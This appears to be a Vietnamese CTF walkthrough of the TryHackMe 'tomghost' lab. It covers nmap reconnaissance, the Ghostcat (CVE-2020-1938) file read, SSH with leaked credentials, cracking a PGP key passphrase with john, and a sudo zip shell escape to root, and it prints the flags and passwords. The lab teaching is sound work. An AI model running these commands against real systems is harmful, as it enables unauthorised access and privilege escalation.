tomghost
Identify recent vulnerabilities to try exploit the system or read files that you should not have access to.
Initial Reconnaissance
Service Scanning
┌──(kali㉿kali)-[~/Documents]
└─$ sudo nmap -sV -sC -v tomghost.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelKết quả scan từ Nmap cho chúng ta thấy dịch vụ SSH tại port 22, thông tin về phiên bản gợi ý hệ điều hành đang chạy là Ubuntu. Port 53 hiển thị trạng thái tcpwrapped, có thể liên quan đến dịch vụ DNS nhưng đã bị giới hạn truy cập. Port 8009 chạy dịch vụ AJP13 (Apache JServ Protocol v1.3), một giao thức thường dùng để kết nối giữa Apache HTTP Server và Apache Tomcat. Cuối cùng là port 8080 chạy Apache Tomcat 9.0.30.
AJP13 8009
Nmap Script
Khi chạy Nmap với các script dành riêng cho AJP trên port 8009 (ajp-auth, ajp-headers, ajp-methods, ajp-request), chúng ta thu được kết quả như sau:
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV --script=ajp-auth,ajp-headers,ajp-methods,ajp-request -p 8009 -v tomghost.thm
PORT STATE SERVICE VERSION
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-headers:
|_ Content-Type: text/html;charset=UTF-8
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
| ajp-request:
| AJP/1.3 200 200
| Content-Type: text/html;charset=UTF-8
| ...[nothing special]Cũng không có gì đặc biệt.
HTTP 8080
Ghostcat File Read
Vì Apache Tomcat đang chạy phiên bản 9.0.30, sẽ là hợp lý để chúng ta kiểm tra xem các phiên bản sau đã vá những lỗ hổng nào.
Sau khi tìm kiếm nhanh trên Google, chúng ta phát hiện phiên bản 9.0.30 tồn tại lỗ hổng Ghostcat (CVE-2020-1938). Lỗ hổng này cho phép đọc hoặc include file tùy ý, và đã được vá trong phiên bản 9.0.31.

Trong Metasploit đã có sẵn một module để khai thác lỗ hổng này.


Bằng cách đọc file /WEB-INF/web.xml, chúng ta đã thu được một bộ credentials.
skyfuck:8730281lkjlkjdqlksalksShell as skyfuck
Chúng ta thử SSH vào hệ thống bằng bộ credentials vừa thu được.

user.txt
File user.txt được tìm thấy tại thư mục home của user merlin.
skyfuck@ubuntu:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 10 2020 .
drwxr-xr-x 22 root root 4096 Mar 10 2020 ..
drwxr-xr-x 4 merlin merlin 4096 Mar 10 2020 merlin
drwxr-xr-x 3 skyfuck skyfuck 4096 Aug 20 06:14 skyfuck
skyfuck@ubuntu:/home$ cd merlin/
skyfuck@ubuntu:/home/merlin$ ls -la
total 36
drwxr-xr-x 4 merlin merlin 4096 Mar 10 2020 .
drwxr-xr-x 4 root root 4096 Mar 10 2020 ..
-rw------- 1 root root 2090 Mar 10 2020 .bash_history
-rw-r--r-- 1 merlin merlin 220 Mar 10 2020 .bash_logout
-rw-r--r-- 1 merlin merlin 3771 Mar 10 2020 .bashrc
drwx------ 2 merlin merlin 4096 Mar 10 2020 .cache
drwxrwxr-x 2 merlin merlin 4096 Mar 10 2020 .nano
-rw-r--r-- 1 merlin merlin 655 Mar 10 2020 .profile
-rw-r--r-- 1 merlin merlin 0 Mar 10 2020 .sudo_as_admin_successful
-rw-rw-r-- 1 merlin merlin 26 Mar 10 2020 user.txt
skyfuck@ubuntu:/home/merlin$ cat user.txt
THM{GhostCat_1s_so_cr4sy}Sudo Permissions
Chúng ta nên kiểm tra quyền sudo của user hiện tại.
skyfuck@ubuntu:~$ sudo -l
[sudo] password for skyfuck:
Sorry, user skyfuck may not run sudo on ubuntu.User hiện tại không có quyền chạy sudo trên target.
PGP Private Key Discovery
Trong home folder của user hiện tại, chúng ta thấy file .bash_history không bị trỏ tới /dev/null như thường gặp. Khi xem nội dung, chúng ta phát hiện trước đó đã có hai file được tải về từ địa chỉ IP 192.168.32.23, đó là tryhackme.asc và credentials.pgp.
PGP (Pretty Good Privacy) là một hệ thống mã hóa dùng cặp khóa public/private để mã hóa, giải mã và ký số dữ liệu. File .asc là một file văn bản dạng ASCII-armored, thường được PGP dùng để lưu trữ key, chữ ký hoặc dữ liệu mã hóa ở dạng có thể đọc được.
skyfuck@ubuntu:~$ cd ~
skyfuck@ubuntu:~$ ls -la
total 40
drwxr-xr-x 3 skyfuck skyfuck 4096 Aug 20 06:14 .
drwxr-xr-x 4 root root 4096 Mar 10 2020 ..
-rw------- 1 skyfuck skyfuck 136 Mar 10 2020 .bash_history
-rw-r--r-- 1 skyfuck skyfuck 220 Mar 10 2020 .bash_logout
-rw-r--r-- 1 skyfuck skyfuck 3771 Mar 10 2020 .bashrc
drwx------ 2 skyfuck skyfuck 4096 Aug 20 06:14 .cache
-rw-rw-r-- 1 skyfuck skyfuck 394 Mar 10 2020 credential.pgp
-rw-r--r-- 1 skyfuck skyfuck 655 Mar 10 2020 .profile
-rw-rw-r-- 1 skyfuck skyfuck 5144 Mar 10 2020 tryhackme.asc
skyfuck@ubuntu:~$ cat .bash_history
ls
cd ..
ls
cd skyfuck/
ls
exit
cd ..
ls
cd skyfuck/
ls
wget 192.168.32.23/tryhackme.asc
wget 192.168.32.23/credential.pgp
ls
exot
exit
skyfuck@ubuntu:~$ cat tryhackme.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: BCPG v1.63
lQUBBF5ocmIRDADTwu9RL5uol6+jCnuoK58+PEtPh0Zfdj4+q8z61PL56tz6YxmF
...
kG6wLdznOpe4zaLA/vM=
=dMrv
-----END PGP PRIVATE KEY BLOCK-----Chúng ta tải các file này về máy local và tiến hành giải mã file credentials.
┌──(kali㉿kali)-[~/Desktop]
└─$ scp skyfuck@tomghost.thm:/home/skyfuck/tryhackme.asc .
skyfuck@tomghost.thm's password:
tryhackme.asc 100% 5144 5.5KB/s 00:00
┌──(kali㉿kali)-[~/Desktop]
└─$ scp skyfuck@tomghost.thm:/home/skyfuck/credential.pgp .
skyfuck@tomghost.thm's password:
credential.pgp 100% 394 0.5KB/s 00:00Tiếp theo, chúng ta thực hiện dictionary attack lên passphrase với wordlist rockyou.txt.
┌──(kali㉿kali)-[~/Desktop]
└─$ gpg2john tryhackme.asc > hash.txt
Created directory: /home/kali/.john
File tryhackme.asc
┌──(kali㉿kali)-[~/Desktop]
└─$ cat hash.txt
tryhackme:$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886d32d2b9eb06f482e9770c710abc2903f1ed70af6fcc22f5608760be*3*254*2*9*16*0c99d5dae8216f2155ba2abfcc71f818*65536*c8f277d2faf97480:::tryhackme <stuxnet@tryhackme.com>::tryhackme.asc
┌──(kali㉿kali)-[~/Desktop]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru (tryhackme)
1g 0:00:00:00 DONE (2025-08-20 20:36) 50.00g/s 53600p/s 53600c/s 53600C/s dancer1..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Kết quả, chúng ta tìm được passphrase là alexandru. Với passphrase này, chúng ta dùng gpg để import file .asc và giải mã file credentials.
┌──(kali㉿kali)-[~/Desktop]
└─$ gpg --import tryhackme.asc
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: key 8F3DA3DEC6707170: secret key imported
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg: unchanged: 2
gpg: secret keys read: 1
gpg: secret keys unchanged: 1
┌──(kali㉿kali)-[~/Desktop]
└─$ gpg --decrypt credential.pgp
gpg: encrypted with elg1024 key, ID 61E104A66184FBCC, created 2020-03-11
"tryhackme <stuxnet@tryhackme.com>"
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123jSau khi giải mã thành công, chúng ta thu được thêm một bộ credentials khác của user merlin. Chúng ta chuyển sang user này.
Shell as merlin
skyfuck@ubuntu:~$ su merlin
Password:
merlin@ubuntu:/home/skyfuck$ id
uid=1000(merlin) gid=1000(merlin) groups=1000(merlin),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)Sudo Permissions
merlin@ubuntu:/home/skyfuck$ sudo -l
Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zipKhi kiểm tra quyền hạn, ta thấy user merlin có thể chạy binary zip với quyền root mà không cần password. Dựa vào đây, chúng ta có thể tận dụng để leo quyền và mở một root shell.
Shell as root
merlin@ubuntu:/home/skyfuck$ TF=$(mktemp -u)
merlin@ubuntu:/home/skyfuck$ sudo zip $TF /etc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 31%)
## id
uid=0(root) gid=0(root) groups=0(root)root.txt
## cd /root
## ls -la
total 32
drwx------ 4 root root 4096 Mar 10 2020 .
drwxr-xr-x 22 root root 4096 Mar 10 2020 ..
-rw------- 1 root root 15 Mar 10 2020 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwxr-xr-x 2 root root 4096 Mar 10 2020 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 17 Mar 10 2020 root.txt
drwxr-xr-x 2 root root 4096 Mar 10 2020 ufw
## cat root.txt
THM{Z1P_1S_FAKE}